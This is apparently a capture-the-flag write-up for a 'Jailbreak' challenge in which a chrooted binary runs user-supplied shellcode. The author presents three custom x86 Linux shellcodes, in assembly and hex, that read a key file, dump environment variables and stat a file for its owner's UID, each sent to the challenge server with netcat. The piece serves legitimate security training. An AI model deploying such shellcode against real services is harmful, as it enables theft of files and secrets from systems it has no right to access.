Category: CTB
A piece of code is currently up @ ctf.ifmo.ru:4004
BTW, here is what’s inside the jail:
vos@ms7:~/private_data$ ls -la total 20K d------r-x 2 alice alice 4.0K Aug 21 00:23 . d------r-x 3 alice alice 4.0K Aug 21 00:29 .. -------r-- 1 alice alice 9.0K Aug 21 00:23 key
Ok, we have this binary that chroot()’s itself into jail, setuid()’s to nobody, reads 128 bytes of our shellcode and jumps to it. Classic bindshell/reverseshell shellcodes don’t work because there is no /bin/sh inside jail. We need to write our own shellcode to do things on the server.
Writing custom shellcodes is really easy when you know how to use Linux syscalls.
First reasonable thing to do is to fetch the ‘key’ file. Shellcode:
mov ebx, [ebp + 8] ; open socket handle enter 0x2800, 0 mov [ebp – 4], ebx mov [ebp – 8], 0x0079656B ; 'key ' ; fd = sys_open("key", 0, 0) mov eax, 5 ; sys_open lea ebx, [ebp – 8] ; 'key ' xor ecx, ecx ; flags = 0 xor edx, edx ; mode = 0 int 0x80 ; len = sys_read(fd, &buf, 0x2780) mov ebx, eax ; handle = sys_open return value mov eax, 3 ; sys_read mov ecx, [ebp – 0x27FC] ; buf mov edx, 0x2780 int 0x80 ; sys_write(sock, &buf, len) mov edx, eax ; len = sys_read retval mov eax, 4 ; sys_write mov ebx, [ebp – 4] ; socket handle lea ecx, [ebp – 0x27FC] int 0x80
or in hexes:
\x8b\x5d\x08\xc8\x00\x28\x00\x89\x5d\xfc\xc7\x45\xf8\x6b\x65\x79 \x00\xb8\x05\x00\x00\x00\x8d\x5d\xf8\x31\xc9\x31\xd2\xcd\x80\x89 \xc3\xb8\x03\x00\x00\x00\x8d\x8d\x04\xd8\xff\xff\xba\x80\x27\x00 \x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\x8b\x5d\xfc\x8d\x8d\x04 \xd8\xff\xff\xcd\x80
Let’s run it:
$ echo -ne "$SHELLCODE" | nc ctf.ifmo.ru 4004 > dump $ xxd dump | head -3 0000000: 4769 7665 206d 6520 796f 7572 2066 7563 Give me your fuc 0000010: 6b69 6e67 2073 6865 6c6c 636f 6465 2e2e king shellcode.. 0000020: 2e0a 7f45 4c46 0101 0100 0000 0000 0000 ...ELF..........
‘key’ file is actually an ELF binary. Its source:
#include <stdio.h> #include <string.h> int main(int argc, char ** argv, char ** environ) { char crypted[22] = "\x16\x24\x28\x37\x65\x36\x3d\x65\x10\x0d\x17" "\x7f\x36\x29\x75\x33\x33\x21\x26\x29\x6f"; char *envvar; int i = 0, j; while (environ[i]) { if (!memcmp(environ[i], "JAILKEY=", 8)) { envvar = (environ[i]) + 8; for (j = 0; j < 21; j++) crypted[j] ^= envvar[j]; printf("%s", crypted); } i++; } return 0; }
(xors JAILKEY environment variable with hard-coded bytes and prints it out)
So our next goal is to retrieve JAILKEY envvar. Shellcode:
mov ebx, [ebp + 8] ; socket leave ; leave to main() stackframe mov ecx, [ebp + 0x20] ; ecx = environ mov eax, 4 ; sys_write mov ecx, [ecx] ; first env var mov edx, 0x500 int 0x80
Hexes:
\xb8\x04\x00\x00\x00\x8b\x5d\x08\xc9\x8b\x4d\x20\x8b\x09\xba\x00 \x05\x00\x00\xcd\x80\xc3
$ echo -ne "$SHELLCODETWO" | nc ctf.ifmo.ru 4004 | grep JAILKEY <...>JAILKEY=ALICE_NEEDS_YOUR_HELP<...>
$ env JAILKEY=ALICE_NEEDS_YOUR_HELP ./key What is UID of alice?
We need to grab the user id of alice, who is the owner of our ‘key’ file. And there’s a shellcode for that:
mov ebx, [ebp + 8] enter 0x80, 0 mov [ebp - 4], ebx mov [ebp - 8], 0x0079656B ; 'key ' mov eax, 0x6A ; sys_newstat lea ebx, [ebp - 8] lea ecx, [ebp - 0x7C] ; buf int 0x80 mov eax, 4 ; sys_write mov ebx, [ebp - 4] ; sock lea ecx, [ebp - 0x7C] mov edx, 0x40 int 0x80
Hexes:
\x8b\x5d\x08\xc8\x80\x00\x00\x89\x5d\x84\xc7\x45\x88\x6b\x65\x79 \x00\xb8\x6a\x00\x00\x00\x8d\x5d\x88\x8d\x4d\x8c\xcd\x80\xb8\x04 \x00\x00\x00\x8b\x5d\x84\x8d\x4d\x8c\xba\x40\x00\x00\x00\xcd\x80
$ echo -ne "$SHELLCODELAST" | nc ctf.ifmo.ru 4004 | xxd 0000000: 4769 7665 206d 6520 796f 7572 2066 7563 Give me your fuc 0000010: 6b69 6e67 2073 6865 6c6c 636f 6465 2e2e king shellcode.. 0000020: 2e0a 0308 0000 6126 0000 0480 0100 ddb7 ......a&........ 0000030: ddb7 0000 0000 0822 0000 0010 0000 1800 ......."........ 0000040: 0000 c45e 824c 0000 0000 c45e 824c 0000 ...^.L.....^.L.. 0000050: 0000 0b5f 824c 0000 0000 0000 0000 0000 ..._.L.......... 0000060: 0000 ..
and 0xB7DD == 47069, the answer. Finally :)
More write-ups on “Jailbreak”: